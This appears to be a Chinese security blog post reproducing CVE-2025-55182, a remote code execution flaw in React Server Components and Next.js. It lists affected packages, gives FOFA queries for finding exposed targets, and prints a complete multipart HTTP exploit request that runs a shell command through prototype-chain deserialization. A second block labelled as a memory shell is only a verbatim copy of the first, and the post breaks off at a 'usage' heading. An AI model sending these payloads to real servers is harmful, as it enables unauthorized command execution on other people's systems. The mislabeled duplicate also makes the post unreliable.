【漏洞复现】React(next.js)远程代码执行漏洞(CVE-2025-55182)

熔城Sec

发布于 2026-07-22 20:11:51

1200

漏洞描述

CVE-2025-55182是ReactServerComponents（版本19.0.0至19.2.0）中的一个高危预认证远程代码执行漏洞，源于服务端在反序列化ServerAction请求时未校验模块导出属性的合法性，攻击者可通过操控请求负载访问原型链上的危险方法（如vm.runInThisContext），进而执行任意系统命令，只要应用依赖中包含vm、child_process或fs等常见Node.js模块即可被利用。

影响范围

该漏洞主要存在于以下 npm 包的 19.0, 19.1.0, 19.1.1, 19.2.0 版本中：
react-server-dom-webpack < 19.2.0
react-server-dom-turbopack < 19.2.0
react-server-dom-parcel
此外，依赖这些包的流行框架和打包工具也受到影响，包括但不限于：
Next.js
React Router
Waku
@parcel/rsc
@vitejs/plugin-rsc
RedwoodJS (rwsdk)
注意：如果你的 React 应用不使用服务端（SSR/RSC），或者不使用支持 React Server Components 的框架/打包器，则不受此漏洞影响。

资产收集

fofa平台
header="Next.js" || body="/_next/static"
app="Dify"

漏洞复现

有回显poc

POST /(或者/apps) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 678
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

内存马

POST /(或者/apps) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 678
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

用法